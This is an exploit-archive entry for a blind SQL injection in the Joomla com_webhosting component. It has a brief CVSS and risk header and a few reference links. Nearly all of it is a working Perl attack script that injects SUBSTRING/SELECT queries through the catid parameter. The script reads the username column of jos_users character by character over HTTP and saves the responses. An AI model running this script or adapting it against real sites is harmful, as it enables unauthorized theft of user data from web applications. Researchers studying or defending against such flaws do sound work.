Joomla Component Webhosting (catid) Blind SQL Injection Exploit

2009.04.13
Credit: Inphex
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl #eSploit Framework - Inphex use Digest::MD5 qw(md5 md5_hex md5_base64); use LWP::UserAgent; use HTTP::Cookies; use Switch; $host_ = shift; $path_ = shift; $id_ = shift; $non_find = shift; #choose anything thats inside the article of id $column = "username"; #change if needet $table = "jos_users"; #change if needet $info{'info'} = { "author" => ["cO2,Inphex"], "name" => ["Joomla com_webhosting Blind SQL Injection"], "version" => [], "description" => ["This script will exploit a Blind SQL Injection Vulnerability in Joomla com_webhosting"], "options" => { "agent" => "", "proxy" => "", "default_headers" => [ ["key","value"]], "timeout" => 2, "cookie" => { "cookie" => ["key=value"], }, }, "sending_options" => { "host" => $host_, "path" => $path_".index.php", "port" => 80, "method_a" => "SQL_INJECTION_BLIND", "attack" => { "option" => ["get","option","com_webhosting"], "catid" => ["get","catid","".$id_."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),\$h,1)=CHAR(\$i)"], "regex" => [[$non_find]], }, }, }; &start($info{'info'},222); open FH,">>ok.html"; print FH $return{222}{'content'}; sub start { $a_ = shift; $id = shift; $get_dA = get_d_p_s("get"); $post_dA = get_d_p_s("post"); my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0); my $jj = 1; my $ii = 48; my $hh = 1; my $ppp = 0; my $s = shift; my $a = ""; my $res_p = ""; my $h = ""; ($h_host_h_xdsjaop,$h_path_h_xdsjaop,$h_port_h_xdsjaop,$method_m) = ($a_->{'sending_options'}{'host'},$a_->{'sending_options'}{'path'},$a_->{'sending_options'}{'port'},$a_->{'sending_options'}{'method_a'}); $ua = LWP::UserAgent->new; $ua->timeout($a_->{'options'}{'timeout'}); if ($a_->{'options'}{'proxy'}) { $ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'}); } $agent = $a_->{'options'}{'agent'} || "Mozilla/5.0"; $ua->agent($agent); { while (($k,$v) = each(%{$a_})) { if ($k ne "options" && $k ne "sending_options") { foreach $r (@{$a_->{$k}}) { if ($a_->{$k}[0]) { print $k.":".$a_->{$k}[0]."\n"; } } } } foreach $j (@{$a_->{'options'}{'default_headers'}}) { $ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]); $m++; } if ($a_->{'options'}{'cookie'}{'cookie'}[0]) { $ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]); } } switch ($method_m) { case "attack" { &attack();} case "SQL_INJECTION_BLIND" { &sql_injection_blind();} case "REMOTE_COMMAND_EXECUTION" { &attack();} case "REMOTE_CODE_EXECUTION" {&attack();} case "REMOTE_FILE_INCLUSION" { &attack();} case "LOCAL_FILE_INCLUSION" { &attack(); } else { &attack(); } } sub attack { if ($post_dA eq "") { $method = "get"; } elsif ($post_dA ne "") { $method = "post"; } if ($method eq "get") { $res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA); ${$a_}{$id}{'content'} = $res_p; foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) { if (${$jj} ne "") { ${$a_}{$id}{'regex'}[$h] = ${$jj}; } $jj++; } $h++; } } elsif ($method eq "post") { $res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA); ${$a_}{$id}{'content'} = $res_p; foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) { if (${$jj} ne "") { ${$a_}{$id}{'regex'}[$h] = ${$jj}; } $jj++; } $h++; } } } sub sql_injection_blind { syswrite STDOUT,$column.":"; while () { while ($ii <= 90) { if(check($ii,$hh) == 1) { syswrite STDOUT,lc(chr($ii)); $hh++; $chr = $chr.chr($ii); } $ii++; } push(@ffs,length($chr)); if (($#ffs -1) == $ffs) { print "\nFinished/Error\n"; exit; } $ii = 48; } } sub check($$) { $ii = shift; $hh = shift; if (get_d_p_s("post") ne "") { $method = "post"; } else { $method = "get";} if ($method eq "get") { $ppp++; $query = modify($get_dA,$ii,$hh); $res_p = get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query); foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) { return 1; } else { return 0; } $h++; } } elsif ($method eq "post") { $ppp++; $query_g = modify($get_dA,$ii,$hh); $query_p = modify($post_dA,$ii,$hh); $res_p = post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query_g,"application/x-www-form-urlencoded",$query_p); foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) { return 1; } else { return 0; } $h++; } } } sub modify($$$) { $string = shift; $replace_by = shift; $replace_by1 = shift; if ($string !~/\$i/ && $string !~/\$h/) { print $string; } elsif ($string !~/\$i/) { $ff = substr($string,0,index($string,"\$h")); $ee = substr($string,rindex($string,"\$h")+2); $string = $ff.$replace_by1.$ee; return $string; } elsif ($string !~/\$h/) { $f = substr($string,0,index($string,"\$i")); $e = substr($string,rindex($string,"\$i")+2); $string = $f.$replace_by.$e; return $string; } else { $f = substr($string,0,index($string,"\$i")); $e = substr($string,rindex($string,"\$i")+2); $string = $f.$replace_by.$e; $ff = substr($string,0,index($string,"\$h")); $ee = substr($string,rindex($string,"\$h")+2); $string = $ff.$replace_by1.$ee; return $string; } } sub get_d_p_s { $g_d_p_s = shift; $post_data = ""; $get_data = ""; $header_data = ""; %header_dA = (); while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}})) { if ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "get") { $method = "get"; push(@get,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]); } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "post") { $method = "post"; push(@post,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]); } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "header") { $header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} = $a_->{'sending_options'}{'attack'}{$k}[2]; } $hp++; } $yy = $#get; while ($bb <= $#get) { $get_data .= $get[$yy]."&"; $bb++; $yy--; } $l = $#post; while ($k <= $#post) { $post_data .= $post[$l]."&"; $k++; $l--; } if ($g_d_p_s eq "get") { return $get_data; } elsif ($g_d_p_s eq "post") { return $post_data; } elsif ($g_d_p_s eq "header") { return %header_dA; } } sub get_data { $h_host_h_xdsjaop = shift; $h_path_h_xdsjaop = shift; %hash = get_d_p_s("header"); while (($u,$c) = each(%hash)) { $ua->default_headers->push_header($u => $c); } $req = $ua->get($h_host_h_xdsjaop.$h_path_h_xdsjaop); return $req->content; } sub post_data { $h_host_h_xdsjaop = shift; $h_path_h_xdsjaop = shift; $content_type = shift; $send = shift; %hash = get_d_p_s("header"); while (($u,$c) = each(%hash)) { $ua->default_headers->push_header($u => $c); } $req = HTTP::Request->new(POST => $h_host_h_xdsjaop.$h_path_h_xdsjaop); $req->content_type($content_type); $req->content($send); $res = $ua->request($req); return $res->content; } }

References:

http://xforce.iss.net/xforce/xfdb/42124
http://www.securityfocus.com/bid/29000
http://www.milw0rm.com/exploits/5527
http://forum.wh-com.de/index.php?topic=497.0


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